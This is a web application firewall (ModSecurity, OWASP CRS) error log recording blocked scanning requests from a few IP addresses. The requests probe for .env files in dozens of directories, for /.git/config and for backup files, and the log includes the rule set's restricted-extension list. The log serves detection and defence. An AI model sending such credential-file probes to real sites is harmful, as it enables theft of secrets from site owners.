[Sun Jul 20 17:01:35.912221 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfAAAAA0&quot;]
[Sun Jul 20 17:01:35.912404 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfAAAAA0&quot;]
[Sun Jul 20 17:01:35.932633 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /windows/tests/9.3.x/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfQAAAA0&quot;]
[Sun Jul 20 17:01:35.932883 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfQAAAA0&quot;]
[Sun Jul 20 17:01:35.933087 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfQAAAA0&quot;]
[Sun Jul 20 17:01:35.953174 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfgAAAA0&quot;]
[Sun Jul 20 17:01:35.953422 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfgAAAA0&quot;]
[Sun Jul 20 17:01:35.953606 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfgAAAA0&quot;]
[Sun Jul 20 17:01:35.973984 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www-data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfwAAAA0&quot;]
[Sun Jul 20 17:01:35.974255 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfwAAAA0&quot;]
[Sun Jul 20 17:01:35.974468 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfwAAAA0&quot;]
[Sun Jul 20 17:01:35.994537 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUgAAAAA0&quot;]
[Sun Jul 20 17:01:35.994784 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUgAAAAA0&quot;]
[Sun Jul 20 17:01:35.994987 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUgAAAAA0&quot;]
[Sun Jul 20 17:01:36.015127 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xx-final/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aH0E0IxoTuBEoACPPcEUgQAAAA0&quot;]
[Sun Jul 20 17:01:36.015400 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aH0E0IxoTuBEoACPPcEUgQAAAA0&quot;]
[Sun Jul 20 17:01:36.015585 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aH0E0IxoTuBEoACPPcEUgQAAAA0&quot;]
[Sun Jul 20 17:01:36.035742 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /zmusic-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aH0E0IxoTuBEoACPPcEUggAAAA0&quot;]
[Sun Jul 20 17:01:36.036008 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aH0E0IxoTuBEoACPPcEUggAAAA0&quot;]
[Sun Jul 20 17:01:36.036206 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aH0E0IxoTuBEoACPPcEUggAAAA0&quot;]
[Mon Jul 21 23:16:04.827350 2025] [:error] [pid 1359637] [client 185.177.72.16:2186] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aH6uFJ26EAeTKa2_DNaQ5wAAAAU&quot;]
[Mon Jul 21 23:16:04.827646 2025] [:error] [pid 1359637] [client 185.177.72.16:2186] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aH6uFJ26EAeTKa2_DNaQ5wAAAAU&quot;]
[Mon Jul 21 23:16:04.827830 2025] [:error] [pid 1359637] [client 185.177.72.16:2186] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aH6uFJ26EAeTKa2_DNaQ5wAAAAU&quot;]
[Wed Jul 23 13:39:13.719973 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7iwAAAAI&quot;]
[Wed Jul 23 13:39:13.720871 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7iwAAAAI&quot;]
[Wed Jul 23 13:39:13.721032 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7iwAAAAI&quot;]
[Wed Jul 23 13:39:13.912927 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kAAAAAI&quot;]
[Wed Jul 23 13:39:13.913262 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kAAAAAI&quot;]
[Wed Jul 23 13:39:13.913453 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kAAAAAI&quot;]
[Wed Jul 23 13:39:13.941198 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kQAAAAI&quot;]
[Wed Jul 23 13:39:13.941421 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kQAAAAI&quot;]
[Wed Jul 23 13:39:13.941584 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIDJ4aI4lOREpDwv3HY7kQAAAAI&quot;]
[Wed Jul 23 13:39:13.974721 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag 